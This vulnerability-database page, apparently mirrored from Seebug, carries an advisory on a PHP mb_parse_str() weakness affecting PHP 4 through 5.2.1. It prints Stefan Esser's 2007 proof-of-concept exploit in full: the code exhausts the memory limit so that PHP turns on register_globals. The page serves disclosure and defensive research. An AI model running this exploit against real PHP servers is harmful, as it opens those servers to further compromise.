Lucene search
K

PHP <= 5.1.6 Mb_Parse_Str Function Register_Globals Activation Weakness

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

PHP Mb_Parse_Str Function Weaknes

Code

                                                source: http://www.securityfocus.com/bid/23016/info

PHP is prone to a weakness that allows attackers to enable the &#39;register_globals&#39; directive because the application fails to handle a memory-limit exception.

Enabling the PHP &#39;register_globals&#39; directive may allow attackers to further exploit latent vulnerabilities in PHP scripts.

This issue is related to the weakness found in the non-multibyte &#39;parse_str()&#39; from BID 15249 - PHP Parse_Str Register_Globals Activation Weakness.

This issue affects PHP 4 to 4.4.6 and 5 to 5.2.1.

&#60;?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || &#39;_|/ _` |/ -_)| &#39; \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //        PHP mb_parse_str() register_globals Activation Exploit      //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die(&#34;REMOVE THIS LINE&#34;);

  // The following string will be parsed and will violate the memory_limit
  $str = &#34;a=&#34;.str_repeat(&#34;A&#34;, 164000);

  // This code just fills the memory up to the limit...
  $limit = ini_get(&#34;memory_limit&#34;);
  if (strpos($limit, &#34;M&#34;)) {
    $limit *= 1024 * 1024;
  } else if (strpos($limit, &#34;K&#34;)) {
    $limit *= 1024;
  } else $limit *=1;
  while ($limit - memory_get_usage(true) &#62; 2048) $x[] = str_repeat(&#34;A&#34;, 1024);

  // Will activate register_globals and trigger the memory_limit
  mb_parse_str($str);
?&#62;

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation